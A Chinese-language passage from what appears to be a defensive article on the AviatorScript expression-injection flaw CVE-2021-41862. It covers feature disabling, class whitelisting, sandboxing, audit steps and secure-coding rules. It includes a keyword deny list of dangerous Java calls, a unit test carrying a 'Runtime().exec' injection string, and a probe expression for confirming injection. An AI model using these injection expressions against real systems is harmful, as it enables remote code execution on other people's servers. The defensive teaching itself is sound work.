自定义函数与白名单机制进阶安全对于5.3.0及以上版本或者对安全性有极致要求的场景AviatorScript提供了更细粒度的安全控制——自定义函数和白名单。核心思想不暴露完整的Java表达能力而是将业务需要的特定功能封装成安全的“函数”暴露给表达式使用。操作步骤禁用所有不安全特性在初始化时明确关闭危险功能。AviatorEvaluator.setOption(Options.FEATURE_SET, Feature.getCompatibleFeatures()); // 使用兼容特性集 AviatorEvaluator.getInstance().disableFeature(Feature.NewInstance); // 明确禁用new AviatorEvaluator.getInstance().disableFeature(Feature.InstanceMethodCall); // 谨慎禁用实例方法调用根据需求注册自定义安全函数将业务需要的操作封装成函数。// 例如业务需要一个“发送消息”的功能而不是允许任意网络调用 AviatorEvaluator.addFunction(new AbstractFunction() { Override public String getName() { return “sendAlert”; } Override public AviatorObject call(MapString, Object env, AviatorObject arg1) { // 参数类型检查和过滤 String message FunctionUtils.getStringValue(arg1, env); // 实现安全的发送逻辑比如调用内部服务而不是直接Socket alertService.send(message); return AviatorNil.NIL; } }); // 表达式里只能这样用 // sendAlert(“高风险交易”) — 安全 // new Socket(...) — 将被拒绝执行使用ClassFilter5.3.3更高版本支持类过滤器可以精确控制哪些类可以被访问。AviatorEvaluator.getInstance().setClassFilter(new ClassFilter() { Override public boolean permit(Class? clazz) { // 只允许数学、工具类等安全类 return clazz.getName().startsWith(“java.lang.Math”) || clazz.getName().startsWith(“java.util.Date”) || clazz.getName().startsWith(“com.yourcompany.safeutils.”); } });5.4 输入验证与表达式沙箱除了引擎侧的加固应用层也必须做好防御。严格的输入验证白名单校验如果表达式的内容是预定义的如从下拉框选择坚决不使用字符串拼接而是使用映射到安全表达式ID的方式。黑名单过滤效果有限如果必须接受自由文本可以过滤new、forName、Runtime、ProcessBuilder、getClass()等危险关键词及其变种大小写、双写、编码。但这种方法很容易被绕过只能作为辅助手段。表达式沙箱终极方案对于不可信来源的表达式最安全的方式是在一个完全隔离的环境中执行。使用Java SecurityManager配置严格的策略文件禁止表达式执行类创建文件、网络连接、执行命令等操作。但SecurityManager在新版Java中已被标记为废弃且配置复杂。在独立进程中执行将表达式求值服务部署为一个独立的微服务该服务运行在高度受限的容器或用户权限下。即使被攻破影响范围也仅限于该服务。主应用通过RPC调用该服务获取结果。使用真正的沙箱方案考虑使用更专业的、设计上就考虑沙箱的脚本引擎如Oracle Nashorn已废弃的某些安全配置或基于GraalVM的隔离上下文。6. 漏洞挖掘与安全编码启示CVE-2021-41862不是一个复杂的逻辑漏洞但它非常典型。它给所有开发者和架构师上了深刻的一课永远不要信任任何外部输入尤其是那些会被“执行”的输入。6.1 漏洞挖掘思路复盘如果我们站在白盒审计的角度如何发现这类漏洞思路可以总结为定位危险API/组件在项目中搜索AviatorEvaluator.execute、compile、eval等方法的调用点。回溯数据流检查传入这些方法的表达式字符串第一个参数的来源。是硬编码配置文件数据库用户输入HTTP请求参数、上传文件内容判断输入是否可控如果来源是用户输入或外部存储则标记为“可疑”。检查安全配置查看调用点周围是否有安全配置如setOption、EvalMode.INTERPRETER、自定义函数、ClassFilter等。如果没有漏洞很可能存在。构造POC验证在测试环境尝试向可控的输入点注入简单的测试表达式如new java.util.Date()看是否能成功返回一个日期对象从而验证漏洞。这个流程可以推广到审计任何“代码执行”类组件如OGNL、SpEL、MVEL、JEXL等表达式引擎以及Freemarker、Velocity等模板引擎。6.2 给开发者的安全编码准则最小权限原则表达式引擎应该只拥有完成其任务所必需的最小权限。默认情况下应该是“什么都不允许”然后按需开启功能。默认安全配置在引入一个第三方组件时第一件事就是查阅其安全文档了解默认配置是否安全。像AviatorScript 5.2.x的默认配置就是不安全的这需要我们在项目初始化时就显式地将其配置为安全模式。外部输入即威胁所有来自系统外部的数据HTTP参数、Header、Cookie、文件内容、数据库字段、RPC响应、消息队列内容在进入核心执行逻辑如表达式求值、数据库查询、命令执行前都必须经过严格的验证和过滤。依赖项安全管理使用Maven Enforcer插件或OWASP Dependency-Check等工具定期扫描项目依赖中的已知漏洞CVE。订阅依赖库的安全邮件列表或关注其GitHub Security Advisories。及时升级到安全版本并做好兼容性测试。纵深防御不要只依赖一层防护。应该在表达式引擎层、应用逻辑层、网络层WAF等多个层面部署防御措施。即使一层被绕过还有其他层提供保护。6.3 漏洞修复后的验证修复漏洞后如何验证修复是否有效单元测试编写安全的单元测试用例专门测试恶意表达式是否会被正确拒绝。Test(expected ExpressionSyntaxErrorException.class) // 期望抛出语法错误异常 public void testMaliciousExpressionIsBlocked() { String malicious “new java.lang.Runtime().exec(‘calc’)“; // 在配置了安全模式或升级后此调用应失败 AviatorEvaluator.execute(malicious); } Test public void testSafeExpressionWorks() { // 确保正常的业务表达式仍然可用 Long result (Long) AviatorEvaluator.execute(“1 2 * 3”); assertEquals(7L, result.longValue()); }集成测试/渗透测试在测试环境中模拟攻击者从真实的入口如API接口注入恶意表达式确认系统返回的是预期的错误信息而不是执行了命令。代码审查团队内进行交叉代码审查确保所有使用AviatorScript的地方都遵循了新的安全规范。CVE-2021-41862的教训是深刻的。它提醒我们在追求性能和灵活性的同时绝不能以牺牲安全为代价。作为开发者我们需要对所使用的工具保持敬畏之心理解其强大功能背后的风险并通过审慎的配置和编码实践构建真正健壮、安全的系统。每一次漏洞分析都是对我们安全意识和技能的一次提升。